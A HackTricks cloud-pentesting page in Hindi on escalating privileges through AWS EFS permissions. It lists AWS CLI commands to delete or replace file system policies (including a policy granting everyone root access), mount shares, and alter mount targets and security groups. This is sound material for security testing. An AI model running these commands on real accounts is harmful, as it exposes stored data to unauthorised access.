AWS - EFS Privesc

Support HackTricks

EFS

EFS के बारे में अधिक जानकारी:

याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहां EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुंच हो (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि इसे IAM नीतियों द्वारा सुरक्षित किया गया है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियों की आवश्यकता होगी।

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

इनमें से किसी भी अनुमति के साथ, एक हमलावर फाइल सिस्टम नीति को बदल सकता है ताकि आपको इसकी पहुँच मिल सके, या बस इसे हटाकर डिफ़ॉल्ट पहुँच प्रदान कर सके।

नीति को हटाने के लिए:

aws efs delete-file-system-policy \
--file-system-id <value>

इसे बदलने के लिए:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

इस अनुमति के साथ, एक हमलावर EFS को माउंट करने में सक्षम होगा। यदि लिखने की अनुमति डिफ़ॉल्ट रूप से सभी को नहीं दी गई है जो EFS को माउंट कर सकते हैं, तो उसके पास केवल पढ़ने की अनुमति होगी।

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

अतिरिक्त अनुमतियाँ elasticfilesystem:ClientRootAccess और elasticfilesystem:ClientWrite का उपयोग लेखन के लिए किया जा सकता है जब यह फ़ाइल सिस्टम माउंट किया गया हो और रूट के रूप में उस फ़ाइल सिस्टम तक पहुँच प्राप्त करने के लिए।

संभावित प्रभाव: फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।

elasticfilesystem:CreateMountTarget

यदि आप एक हमलावर हैं जो एक उपनेटवर्क के अंदर हैं जहाँ EFS का कोई माउंट टारगेट नहीं है। वह बस इस विशेषाधिकार के साथ अपने उपनेट में एक बना सकता है:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

संभावित प्रभाव: फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।

elasticfilesystem:ModifyMountTargetSecurityGroups

एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है, वह बस चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

संभावित प्रभाव: फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।

Support HackTricks

Last updated